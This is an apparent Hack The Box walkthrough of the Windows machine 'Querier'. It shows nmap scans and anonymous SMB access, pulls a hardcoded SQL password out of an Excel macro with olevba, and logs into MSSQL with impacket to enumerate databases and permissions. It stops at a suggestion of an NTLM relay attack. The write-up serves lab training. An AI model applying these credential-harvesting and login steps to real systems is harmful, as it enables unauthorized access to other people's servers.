[HTB] Machine: Querier
Querier
Enumeration
└─$ nmap -Pn -p- 10.10.10.125 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-07 03:05 BST
Stats: 0:06:52 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 72.17% done; ETC: 03:15 (0:02:39 remaining)
Nmap scan report for 10.10.10.125 (10.10.10.125)
Host is up (0.15s latency).
Not shown: 65521 closed tcp ports (conn-refused)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49671/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 693.11 seconds
└─$ nmap -Pn -p135,139,445,1433,5985 -sC -sV 10.10.10.125 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-07 03:18 BST
Nmap scan report for 10.10.10.125 (10.10.10.125)
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| 10.10.10.125:1433:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: QUERIER
| DNS_Domain_Name: HTB.LOCAL
| DNS_Computer_Name: QUERIER.HTB.LOCAL
| DNS_Tree_Name: HTB.LOCAL
|_ Product_Version: 10.0.17763
| ms-sql-info:
| 10.10.10.125:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
|_ssl-date: 2023-09-06T19:18:33+00:00; -7h00m00s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-09-06T14:05:43
|_Not valid after: 2053-09-06T14:05:43
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-09-06T19:18:24
|_ start_date: N/A
|_clock-skew: mean: -7h00m00s, deviation: 0s, median: -7h00m00s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.61 seconds
└─$ smbclient -N -L //10.10.10.125
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Reports Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.125 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
└─$ smbclient -N //10.10.10.125/Reports
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jan 28 23:23:48 2019
.. D 0 Mon Jan 28 23:23:48 2019
Currency Volume Report.xlsm A 12229 Sun Jan 27 22:21:34 2019
5158399 blocks of size 4096. 828878 blocks available
smb: \> get "Currency Volume Report.xlsm"
getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (23.7 KiloBytes/sec) (average 23.7 KiloBytes/sec)
smb: \> exit
└─$ olevba 'Currency Volume Report.xlsm'
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
olevba 0.60.1 on Python 3.11.4 - http://decalage.info/python/oletools
===============================================================================
FILE: Currency Volume Report.xlsm
Type: OpenXML
WARNING For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
' macro to pull data for client volume reports
'
' further testing required
Private Sub Connect()
Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset
Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10
conn.Open
If conn.State = adStateOpen Then
' MsgBox "connection successful"
'Set rs = conn.Execute("SELECT * @@version;")
Set rs = conn.Execute("SELECT * FROM volume;")
Sheets(1).Range("A1").CopyFromRecordset rs
rs.Close
End If
End Sub
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|Suspicious|Open |May open a file |
|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
+----------+--------------------+---------------------------------------------+
- Let’s connect using
impacket-mssqlclient
└─$ impacket-mssqlclient reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 32576
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL>
User #2
SQL> SELECT name FROM master.sys.databases;
name
--------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
volume
SQL> use volume;
[*] ENVCHANGE(DATABASE): Old Value: volume, New Value: volume
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
SQL> select * from volume.INFORMATION_SCHEMA.TABLES;
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
-------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------- ----------
SQL>
SQL> select name from sys.database_principals;
name
--------------------------------------------------------------------------------------------------------------------------------
public
dbo
guest
INFORMATION_SCHEMA
sys
reporting
db_owner
db_accessadmin
db_securityadmin
db_ddladmin
db_backupoperator
db_datareader
db_datawriter
db_denydatareader
db_denydatawriter
SQL> SELECT entity_name, permission_name FROM fn_my_permissions(NULL, 'SERVER');
entity_name permission_name
-------------------------------------- ------------------------------------------------------------
server CONNECT SQL
server VIEW ANY DATABASE
- We can try
Relay attack to steal NTLM
